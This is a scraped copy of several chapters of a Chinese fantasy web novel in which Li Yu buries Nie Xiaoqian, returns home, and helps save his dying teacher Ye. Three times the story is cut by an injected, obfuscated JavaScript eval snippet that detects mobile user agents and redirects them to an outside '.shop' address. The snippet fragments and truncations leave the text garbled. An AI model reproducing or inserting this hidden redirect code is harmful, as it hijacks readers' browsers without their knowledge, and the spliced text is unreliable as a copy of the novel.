第二天起来后,才发现王六郎已经去土地祠公干了。李钰和白行野请小黄带路,去寿庄买了现成的棺材,又加钱找人刻了碑,很正式地将聂小倩的骸骨装进棺材,安葬到山间的一处开阔地。 李钰在她坟前上香烧纸,心里百感交集。聂小倩和他童年记忆里的电影女主角并不一样,但却一样可怜可叹。红颜薄命已是可惜,死后却遇到了比生前更多的劫难。 看故事的时候觉得凄美,但当他也参与进故事中,他只看到了血淋淋的凄惨,但愿这样的苦难不要再在他人身上重现了。 燃尽最后一张纸钱,李钰轻声道:“望你今后一切都好。再见了,小……聂姑娘。” 白行野在旁静静等着,他总觉得李钰对这个女鬼不一般,但他又表现得坦荡极了,不像有什么别的心思,便只能归结为同情心使然。 两人一狗下山而去,聂小倩的身影蓦然出现在山间树荫之下。她含泪望着二人远去的背影,跪了下去深深一拜,终究还是行了那未完成的跪谢大礼。 “恭送二位恩公,小倩定不负所望。” 白行野忽然回头一望,李钰顺着看过去,只看到一片绿树成荫。 “怎么了?” 白行野摇摇头,“只是想起当日你非让我进西峰寺积功德的事。” 李钰疑惑地说:“那又怎么了?” “就是感觉……”白行野扬起嘴角,“挺好的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115934|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告别了聂小倩,他们二人又在邬镇及附近的城镇潇洒闲逛了好些日子。直到冬茶梅已开,才依依不舍地向王六郎辞行。 走之前,李钰找到镇长和镇中耆老们,将自己剩下的银钱都给了他们,请他们帮忙修缮一下土地祠。众人虽疑惑一个外地人怎么要修他们的土地祠?但也乐呵呵地应下。 做完这一切,李钰和白行野才离开了邬镇。其实两人这短暂的出行还不到一个月,可李钰怕家中老父母担心,倒是也有寄信报平安,但还是决定先回家一趟。有了这次的经历,想必之后自己再要出行也不会像之前那般费尽唇舌了。 回家之路目标明确,不过一天的时间,白行野便载着李钰跨越几府,回到了常州府武进县。 两人一进家门,老管家李平便迎了上来,“哎呦!少爷和白道长回来了!少爷啊,可想死小的了,这一路上真是辛苦白道长照应了。” 他这一声大喊惊动了整个宅子的关注,丫鬟小厮奔走相告,“少爷和白道长回来了!” 李钰有些无语,从未出过远门的小少爷如今平安归来,竟值得这么大的阵仗?这不,两人还未走进正院,李化和木若菱就匆匆赶来。 木大娘子一把抱住李钰就开始哭道:“我的心肝,你这出门一趟,我日日夜夜提心吊胆,就没睡过一天好觉,怎么才回来呀?” 李化也有些激动,但还是忍住情绪,劝慰道:“不是跟你说了吗?儿子出去是为了避祸,如今才不过一个月就回来了,这不正说明儿子挂念我们吗?” 李钰忙跟着说:“对呀,爹本还想让我多躲几个月的,这不是思念你们,早早就回来了嘛。” 木若菱这才收住眼泪,道:“是是是,是为娘太过想你了,我怎会不知我儿的孝心?你的信我们都看了,如今一切没事就好。” 提到这茬,李化便说:“这还得多谢白贤侄相助,好容易才保住我儿清白。” 李钰嘴角一抽,这说的是什么话?再看白行野,此时对方正抬手捂嘴憋笑中。 见李钰面露威胁,白行野这才正色道:“伯父不必在意,我在府上也叨扰许久,不过做些力所能及之事,况且我和李钰相交甚笃,怎能看他蒙难?” 李化见白行野如今越发知礼数又如此热心肠,早前他刚来李家的时候,李化还觉得此人冷面冷情,只当给儿子面子,供养个道长而已,又不是养不起。结果没成想是他看走了眼,这还真是个冷面热心、重情重义之人,此时对白行野越看越喜欢。 他拍了拍白行野的肩,真心实意道:“行野啊,我家珠儿难得能有你这般为他掏心掏肺的知己。今后可别再说什么叨扰不叨扰的,以后这里就是你的家,你且安心住着,不许再这么客气了。” 木若菱也慈爱道:“是啊,你将我儿护得这般周全,我们做父母的感激都来不及。就听你伯父说的,在家安心住着、长久地住着!我们早都将你当自家子侄看了。” 白行野怔住了,谁能想到当日他有意接近李钰,住进李家只是为了探查这不知何处来的灵魂有何目的。可他在这个家里,却交到了真正的朋友,还有这样一对老人家如此真心相待。 他此时似乎明白李钰明明不是李家夫妇的亲儿子,他出门在外却还是分外挂念二老的原因了。也体会到师父当初让他下山的深意,师父不只交代他斩妖除魔维护正道,积攒功德为登上仙位做准备,更是嘱咐他需去体验人世间的一切。 这份对他来说陌生又厚重的情感,或许也是师父想让他体会到的吧? 白行野脸上有了他自己都不曾意识到的柔和,他规规矩矩地拱手向二老行了一礼,“承蒙厚爱,我白行野定不负李家。” 他这郑重的一礼一言,不仅让二老诧异,就连李钰也有些心神震动。有些情感用言语很难表达,但人与人之间却有一种默契,只有彼此才能体会到其中的深厚情谊。 33.归家话 李化握住白行野的手,欣慰道:“好孩子好孩子,你们一路也累了,我这便让厨房备上好菜好好犒劳你们!快进去坐,喝点茶水歇一歇。” 看着白行野被二老言笑晏晏地拉进屋内,跟一家三口似的,李钰一边轻笑一边摇头,心里不知为何有种说不出的温暖和满足。 晚上的接风宴,木若菱屏退了布菜的丫鬟仆妇,一家人连同詹贵儿都坐在一起吃饭,詹贵儿面前还摆了一副小碗筷。小孩也好久没见到李钰和白行野了,一个劲儿地卖乖,李钰逗他,“你又吃不了饭还在这儿扰我,这些日子我跟你道长哥哥不在,肯定天天皮,也没好好读书和修行吧?” 知道他是玩笑,木若菱依旧出言维护道:“贵儿他虽不能吃饭,闻闻味儿也是好的。你是不知道,每次你不在的时候,可都是贵儿陪着我。这孩子可懂事,我知他每次显形都是消耗,可他依旧每日都来陪我,哪里去找这么懂事的孩子啊?” “那还是因为阿公阿婆对我好呀。”詹贵儿嘴甜道,得意地看向李钰。 李钰“啧啧”两声,“我说呢,这不年不节的又换新衣服了,原来是把娘亲哄得好呀。” 只见詹贵儿今日换了一身黄澄澄的圆领袍,小孩穿这种鲜亮的颜色,更显得活泼可爱了。 木大娘子佯怒道:“什么不年不节的,这秋衣本就该准备的!我们小贵儿有,你和白贤侄也是有的,都在放进你们房里了,可不许再说拈酸吃醋的话了啊。” 詹贵儿有人撑腰,偷偷对李钰做鬼脸。 “这小鬼头……”眼看李钰又要胡闹,白行野忙给他夹了一筷子菜,他才老实吃饭。 这一顿操作下来,把老两口看得笑作一团,一家人就这么和和美美地吃了一顿团圆饭。 晚些时候,李钰好好泡了个澡,早早就准备睡觉了。在外一个月好玩是好玩,回到家里却有种迟来的疲累,放松下来以后,只想好好睡上个三两天,可就偏有那不识相的找来了。 詹贵儿扑到李钰床上,怎么赶都赶不走。 李钰半躺着问他,“怎么?想你哥了?” “谁想你了呀!”詹贵儿嘟着嘴反驳,又磨蹭了会儿说,“好吧,是有那么一点点想。” 李钰听了心里那叫一个熨帖,奈何粘人的小子来得不是时候,“那你待如何啊?” “我就想和你说说话不行吗?” “可是大哥我现在很困,明天再说不行吗?”李钰边说边打了个哈欠。 詹贵儿就不说话了但也不走。 李钰无奈,一时恶向胆边生,想起詹贵儿和白行野一同瞒着自己的事,质问道:“你早知道你的道长哥哥是龙了吧?” 詹贵儿一个激灵从床上爬起来,惊道:“你……你也知道啦?” “哼哼,要想人不知除非己莫为,好你个小鬼头,我好心收留你,你却还瞒着我这么大的事!”李钰故作生气。 詹贵儿忙辩解道:“那不是我也不敢说嘛……而且道长哥哥也没有坏心眼儿,他对你也很好呀,那我说不说又有什么关系嘛。” “嗯,白行野是挺好的。”李钰点点头,又话锋一转,“可是你知情不报,现在还强词夺理不认错!罪加一等!” 詹贵儿赔着笑,“哪有这么严重?哥哥你就别生气了,我以后一定什么事都不瞒你。” “真的?” “自然是真的!我发誓!”小鬼坐直,挺起胸膛,满口保证。 李钰又问:“那你说说,这一个月你都做些什么呢?” “就和平常一样啊,只是有时候小翠姐姐会来找我玩。她都是变成小狐狸的样子来找我玩的,所以我就让她进来了,没有吓着别人。”詹贵儿边说边看李钰眼色。 “哦?没想到你和小翠还处成好朋友了。”李钰想着小翠那孩子气的行事做派,倒还真能跟詹贵儿这个真正的小朋友玩到一起去。 李钰不由感慨:“真是天真无邪啊。” 詹贵儿见他不再纠缠上一个问题,忙竹筒倒豆子似的把他们玩些什么都跟李钰交代清楚,听得李钰昏昏欲睡。 “小翠姐姐还教我修炼呢!她说我认真修行说不定能成鬼仙,毕竟等重入轮回也太久了。” 本要都要睡着的李钰听到这话立刻来了精神,问:“她都教你些什么?” 詹贵儿边回忆边说:“她跟我说,她们妖精修炼需要吸取天地日月的精华,这和我们鬼魂吸取月华、阴气修炼是一样的。可她还说,现在的妖精和鬼怪都越来越浮躁了,有好些都不爱走正途,有去夺别人的金丹的,有去采补人的精气的……” “咳咳咳……”李钰一听气得被口水呛了嗓子,咳个不停,好半天才缓过来。小翠怎么这样口无遮拦,詹贵儿才多大个小孩? “她跟你说这些干什么?” “是我问他我还得多久才能入轮回?小翠姐姐就说,我若不想等业债消掉后去入轮回,就去修成鬼仙,但还是得走正途,好好念白道长给的经文,努力修行,积攒功德才行。”詹贵儿帮着小翠解释,“她说若是她们狐狸和人在一起倒还好,可若是鬼魂和人在一起,那人可就没多少活头了。鬼若走歪路,那就又得害人,身上的业债就更多了。” 李钰松了口气,“原来是这么回事。”还好小翠说的是正经的。 “她这么一说,还给我吓着了。我想宅子里这么多人,天天和我在一起可怎么办?还好小翠姐姐说她说的‘在一起’和我说的‘在一起’不是一个意思,那她说的‘在一起’到底是什么意思啊?” 李钰尴尬了,这小翠劝小贵儿走正道是好话,可说得未免太多了…… “咳咳,总之你住在我们家是没问题的!之前你道长哥哥也跟我说过,顶多就是沾染些鬼气,多晒晒太阳就行了。你这么个捣蛋鬼,还真当自己多大能耐?没被这阖府的阳气影响都是好的了!”李钰将白行野给他科普的,照本宣科给詹贵儿说了一遍。 看詹贵儿脸上露出如释重负的表情,李钰也没想到这小子这样的年纪却会为大家着想,果然如他娘说的,就没见过这么懂事的小孩。 詹贵儿高兴道:“那我明天去跟阿婆说,让她平日也多出去走动走动,她不想动的话,我就打着伞陪她走。” “哎哟喂,真是惹人疼的小孩。”李钰忍不住捏了捏詹贵儿的小脸蛋。 詹贵儿嘿嘿一笑,又撒娇道:“哥哥你现在倒是回来了,可我好久没看到叶先生和丁哥哥了,你也去请他们过来坐坐嘛,我也想他们了。” 李钰哪能拒绝?一口答应下来,又道:“只求你让我先歇两天,过两天我一定去请可以了吧?” 詹贵儿目的达成,终于拍拍屁股起来了,大发善心地放李钰睡觉去了。 李钰懒懒地在家里呆了几天,终于决定去见见师弟了。本想递个帖子邀丁再昌上门,想了想还是自己亲自去请一趟。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121202|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 因为白行野要修炼,李钰就没叫上他。 到了丁府,被门子引到丁再昌的书房,刚进去丁再昌就过来了。他一脸的惊喜,嘴里却嗔怪道:“好哇师兄,你倒是在外逍遥自在,可不知我近日都无聊死了。” “这不回来就亲自来找你了?而且没有我,席兄和秋隼他们不也能陪你玩。” “他们啊,近日都认认真真温书呢,明年二月大家都要县试,都想挣个秀才功名!弄得我也不得不紧张起来。” “你肯定没问题啊。” 丁再昌不好意思道:“其实我正经读书也才三四年,小的时候调皮爱玩也不爱读书,我爹打都打不听,还以为我废了,结果到了年岁跟开了窍似的,自己就能静下心读书了。” 李钰没想到看起来认认真真的丁再昌,竟还有这样的童年,赞道:“那你是读书的料啊!叶先生在我面前说起你总是赞不绝口。” 话音刚落,丁再昌的脸色一下就不自在了,唉声叹气道:“其实……先生他,病了。” 李钰一惊,“怎么回事?” “这次秋闱,先生又落榜了。” 一时无言以对,李钰是看过先生的文章,也看过丁再昌的文章的。古时候考的八股文对于他来讲,就是又臭又长的长篇大论。但在叶先生指导下,浅薄地了解了一些后,再看二人的文章,他又觉得都是极好的。 叶先生在县里的才名也是人尽皆知,颇受人景仰,丁县令也是因为赏识他的才学,两人才成为至交好友的。可怎么就是回回应试不中呢? 李钰对科考了解不多,只能叹气,“难道真是时运不济?” 丁再昌却道:“先生考完后,我爹让他将做的文章背来听,当场就拍案叫好,我们都以为这次他定能上榜。也不知那些考官是怎么回事?有眼无珠到这种地步!还是说真的就是寒门之子不得显贵?” 他愤愤不平地说完,就立刻反应过来此乃大不逆之言,忙下意识捂住了嘴。 “就只有我俩在此,不用担心。”李钰忙安慰,又问,“先生的病情如何,大夫怎么说?” 丁再昌摇摇头,“大夫只道是‘心病还需心药医’,现在不过也只是吃点汤药吊着命。” 这话一出,李钰越发觉得严重,怎么就到了吊着命的地步了,急忙要去探望先生。 “我们都劝不好先生,可先生总说师兄你做事不拘一格,向来欣赏你,或许你说的一些歪理反而有用。”丁再昌也立刻起身。 “行了,怎么这么多话,快给小爷带路吧。” 叶先生家不在城里而在城郊乡间,李钰叫人套了马车来,就和丁再昌一同前往叶先生宅邸。 而到了叶先生家一看才知道,这并不能叫做一处宅邸,只是一户看起来颇为萧条破败的农家小院,院中还飘散出一股中药材的苦味。 李钰迟疑地叩响门扉,前来开门的是一位面黄肌瘦的妇人。丁再昌对其躬身施礼道:“师娘,我带师兄来看看先生。” 原来这位就是先生的妻子,师娘显然是知道李钰的,热情地招呼他进门,可还没说上两句话,就被婴儿的啼哭唤走了。 师娘抱着襁褓中的孩子轻轻摇晃着,李钰见她忙,便道:“师娘我们进去看看先生,您不用管我们。” 师娘只能应声,她也确实腾不出手。 李钰随丁再昌进了里屋,看到床上躺着的叶先生,委实是吃了一惊。 34.叶生(一) “先生怎么瘦成这般模样,这才过去多久?”李钰连忙走到床边,握住叶先生骨瘦嶙峋的手,担忧地问道。 “你们来了。”叶先生的声音有气无力,他想要撑起身子坐起来,被李钰按了回去。 “先生不用起身,是学生不请自来,打扰先生了。” 叶先生强撑着笑笑,“有学生记挂我,我也深感安慰,只是你先生我,如今却不能好好招待你,今后恐怕也难以教你了。” “先生这是说的什么话,您要好好振作起来,学生如今连四书都没读完,还需要先生再教导我才行。”李钰说着说着哽咽起来,他万没想到叶先生真的病到这种地步。 叶先生安慰道:“好了好了……会好的。” 说着安慰的话,却是双目无光,仿佛只是为了安抚住他,李钰心里更加难受了。 他还不认识叶先生的时候,曾向他爹口出狂言,说自己难道读书是要一辈子困于科场吗?可如今眼见叶先生明明胸有大才,却当真落到这个地步,真真正正地体会到什么叫哀其不幸。 说是探望,可两人并没能在叶先生这儿呆多久,叶先生实在说不了多少话,便又昏睡了过去。 从里屋出来后,李钰看到师娘一边抱着孩子一边熬药,热气熏蒸着她带着细纹的脸庞,豆大的汗珠从她颊边滚落。两人上去帮忙,直到给叶先生喂完药才走。 李钰不敢多叨扰,只在他们家的饭桌上将自己的钱袋子留了下来。 他和丁再昌在回去的路上都很沉默,良久李钰才说:“我未曾想过叶先生家居然贫困至此。” 丁再昌道:“寒门之子向来如此,况且叶先生家人丁稀薄,读书备考本就花钱,家里几亩薄田也只有师娘一人打理,如今又有了孩子……虽然我爹时常接济他家,但先生非是家里实在揭不开锅,都拒绝了。” “先生性子太倔了。”李钰摇头。 “之前私塾招教书先生,本来我爹想举荐他去,被他以自己要为科考准备为由拒绝了。后来还是李伯父给你找先生,问到我爹这边,才劝他去你家教书,因为教的人不多,他还算有时间精力才应了下来。可又因为之前你那边各种事忙,没多久先生又要备考了,统共也没上多久课,恐怕束脩早用完了。” 李钰闻言有些不解,“我知道对于寒门子弟来讲,科举是可以改变阶级地位的唯一出路。可先生家这都已经快过不下去了,还要继续吗?家里还有孩子要养,我看师娘她实在太辛苦了。” 丁再昌却不太认同李钰的话,“人说‘学而优则仕’,像先生这样有才之士自然要去科考的,况且读书人理应以治国平天下为目标。叶先生虽然贫困,但一朝中举谋得官位,便能带全家摆脱现状,他为何不去科考?” “可他自己也好,家人也好,连生计都困难……”李钰止住了话头,“罢了,叶先生如今养好身体才是重要的事。” 同为读书人的丁再昌听了李钰言语间的不理解却有些生气,“师娘撑起家里一应事务,就是为了叶先生能安心读书,如此远见和大义令人钦佩!何况作为学生如何能妄议师长?此话你可别在其他人面前说。” 李钰愣愣点了点头,他一面可以理解,但另一面先生那病入膏肓的身子和师娘显而易见的疲惫瘦弱,却始终在他心中挥之不去,他不禁想问:值得吗? 如果先生愿意去私塾谋份差事,撑起家业同时继续读书,不过度执着科举,不为失败而动摇心境,他的家庭和他的身体,至于到如今这样的地步吗? 一番对话后,两人不欢而散,李钰闷闷不乐地回到自己家。 他没回自己的房里,径直去了白行野那儿,进了屋就一屁股坐凳子上,双手抱胸。 白行野看着好笑,问道:“这又是怎么了,不是去找丁再昌玩了吗?” 李钰唉声叹气地将今天的事情一说,又道:“我就是心疼先生既不顾惜自己身体,又不管家里人,一昧执着于落第的失望,又劝他不得。真是,真是……” 真是让人又急又气。 白行野听完想了想才说:“你先生这是心病,要继续吊着性命倒是不用担心,我回头进山找老参精要点根须即可。” 李钰眼睛一亮,“不愧是你啊行野!” “只是他这人执念太深,就算保住一时的性命,往后却也不好说。” 李钰耷拉下脑袋,“我也知道,而且不只是先生的问题,先生一家都不好过,生活都难以维持,却还不着眼于当下。如果真是一直考不上,一辈子都这么蹉跎过去,一家子都要为一个人的理想而奉献,我实在想不通。” “这是他们自己的选择,你何必愁这些?”白行野觉得李钰那多管闲事的毛病又犯了。 “我就是今天见到了师娘……挺不好受的。我不是不能理解先生,如果一朝中举,谋上个一官半职,全家的命运都能改变。可若是连当下都如此艰难了,还真的要一直为一个飘渺的理想不过日子,不要性命吗?” 白行野也沉默了,他作为一条龙,自然也是不太能理解的。 李钰从白行野房间出来后,一直陷入纷乱的思绪中。见到詹贵儿更不知道怎么说,只能应付他两句说过几天再去请叶先生和丁再昌过来,詹贵儿看他心情不佳也没有再纠缠。 第二天,李钰一早就去找他爹,想让李老爷派两个下人去先生家暂时帮忙照顾一下,可这一次李化居然拒绝了。 李化语重心长道:“读书人都讲究气节和脸面,何况你先生那样性格的人,说得不好听点,就是死脑筋。他家境不好,你又是人学生,还要自作主张派人去他家里照顾。你以为你是做好事,可到时候怕是会闹得场面难看。” 李钰这下可没招了,“那怎么办?师娘一个人又照顾病人又带娃的,家里地虽少,秋收时村里大伙都拉了一把,可她依旧忙不过来。” 李化思虑一番,道:“你先生那样的性格,或许还得你再亲自登门拜访,痛陈你对他的担忧,求着他让仆从进门才行。你可一定得斟酌用词啊,尤其是他们这样清贫的读书人,那是绝不会接受施舍一样的行为的。” 李钰倒不觉得此事有多难,只觉得这人情世故的门道还真挺多,往后还得跟他爹多学学。 “至于仆从人选,你就跟你娘说,让她选个老练又力气大的,还得嘴巴紧的婆子。可你始终还是得先给你叶先生说清楚,才好送人过去。”李化又再三嘱咐。 李钰连连点头,“好的,我明白了,我这就去安排。” “好,叶先生没白教你,去吧去吧。” 李钰麻溜地跑了,就又要往叶先生家去。走到门口刚好遇到了从外面回来的白行野,只见他衣袖和下摆都湿漉漉的。 李钰见状忙拉着白行野回去换衣服,边走边问:“你这是去哪儿了?怎么衣服都湿了?” 白行野不在意地抬起袖子看了一眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124484|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “只是山间的一些晨露,外衫湿了点。” “你进山里了?” 白行野微微一笑,从衣襟里掏出一截树枝一样的东西,李钰定睛一看,“这就是老参精的根须?” “对,那老东西藏得比想象的深,找到天快亮了才找到。”白行野略带抱怨地说。 “行野……”一时之间,李钰有千言万语却不知从何说起。 白行野揉了揉他的头,将参须递了过去,“愣着干什么?快拿着,我还要换衣服。” “哦。”李钰呆呆接过,出了门去,在外等着。 白行野意外地看他关上门,平时没这么见外的,今天怎么了?这么老实,还出门去等他。 殊不知李钰也不知道自己在想什么,他握着那一截参须,这不但是能救叶先生性命的良药,更是李钰的一颗定心丸。白行野昨日才答应,在无人知晓的时候就连夜把这东西带回来了。 细数下来,欠下的人情越来越多,李钰都不知道怎么还了。 白行野换完衣服,将门打开招呼李钰进去说话。 李钰回过神来,真诚道谢:“行野,谢谢你。” 白行野温和地笑着说:“不用,免得你时时挂心。你就当是礼尚往来吧。”说着还指了指自己身上的新衣服。 李钰这才看到,白行野今天穿的是他娘准备的秋装。 这是一种类似曳撒的袍服,百姓中尤其是富贵人家想穿曳撒这种衬腰身的飒爽装束,可又不敢穿真正的曳撒,那可是僭越。于是只敢仿制了其形制,颜色选用更偏素色,绣的花纹也只敢用普通的花草纹或云纹,做出“类曳撒”的服装。 白行野今天这一身,就是影青色云纹底的袍服,腰身收的紧紧的,看起来比平日更显得高挑挺拔。 可是尴尬的是,李钰今天也穿的是这样一套,只是他是月白色青竹纹样的。李钰心里嘀咕:怎么弄的跟情侣装似的? 他自己心里有鬼,看啥都不对劲。猛然想起自己还有正事要办,忙用手帕包好参须就要去叶先生家。 白行野道:“看你今天慌慌张张的,我跟你一道去吧。” 李钰自然不会拒绝,两人一同来到叶先生家,还没走进门就听到了一阵哭天抢地。叶先生家门口围了一群村里人议论纷纷,一名郎中从门内走出连连摇头。 李钰脸色大变忙上去问:“大夫,我先生怎么了?” 那老郎中打量了一下李钰,说道:“这叶生心气儿没了,再多药石也枉然,如今已是弥留之际,你既是他的学生,便快去送送他吧。” 李钰一听急忙冲进屋内,只见师娘跪趴在先生床边哭得撕心裂肺,而先生胸口起伏微弱到几乎看不见。 没想到来得这么快,不过一天时间,先生居然已经…… 白行野一个箭步走到床边,探了探叶先生的鼻息和脉搏,回头对李钰道:“还有气,快将参须拿来!” 李钰手忙脚乱地从胸前掏出手帕,将参须取出交于白行野。只见白行野握住参须轻轻一捏,手再张开参须已经化为齑粉。他捏开叶先生的嘴,将手中的粉末倒了进去,又道:“快拿水来!” 师娘一看,虽不知吃的是何物,但也知道这两人是在施行救命之法,忙端来水。白行野将叶先生身体扶起来给他灌水,又用一只手捂住他的嘴强硬地让叶先生将参粉尽数吞服下去,直至叶先生不再有干呕的情况,才将他重新安放回床上。